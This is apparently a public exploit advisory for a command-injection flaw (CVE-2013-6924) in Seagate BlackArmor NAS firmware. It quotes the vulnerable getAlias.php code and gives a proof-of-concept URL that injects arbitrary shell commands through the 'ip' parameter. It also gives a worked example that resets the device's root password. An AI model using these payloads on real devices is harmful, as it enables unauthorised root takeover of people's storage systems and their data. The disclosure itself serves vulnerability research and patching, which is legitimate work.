Seagate BlackArmor NAS sg2000-2000.1331 - Remote Command Execution

# Exploit Title: Seagate BlackArmor NAS - Remote Command Execution

# Google Dork: N/A

# Date: 04-01-2014

# Exploit Author: Jeroen - IT Nerdbox

# Vendor Homepage:  <http://www.seagate.com/> http://www.seagate.com/

# Software Link:
<http://www.seagate.com/support/downloads/item/banas-220-firmware-master-dl/
>
http://www.seagate.com/support/downloads/item/banas-220-firmware-master-dl/

# Version: sg2000-2000.1331

# Tested on: N/A

# CVE : CVE-2013-6924

#

## Description:

#

# The file getAlias.php located in /backupmgt has the following lines:

#

# $ipAddress = $_GET["ip";

# if ($ipAddress != "") {

#    exec("grep -I $ipAddress $immedLogFile > aliasHistory.txt");

#    ..

#    ..

# }

#

# The GET parameter can easily be manipulated to execute commands on the
BlackArmor system.

#

## Proof of Concept:

#

# http(s)://<ip | host>/backupmgt/getAlias.php?ip=xx /etc/passwd; <your
command here>;

#

## Example to change the root password to 'mypassword':

#

# http(s)://<ip | host>/backupmgt/getAlias.php?ip=xx /etc/passwd; echo
'mypassword' | passwd --stdin;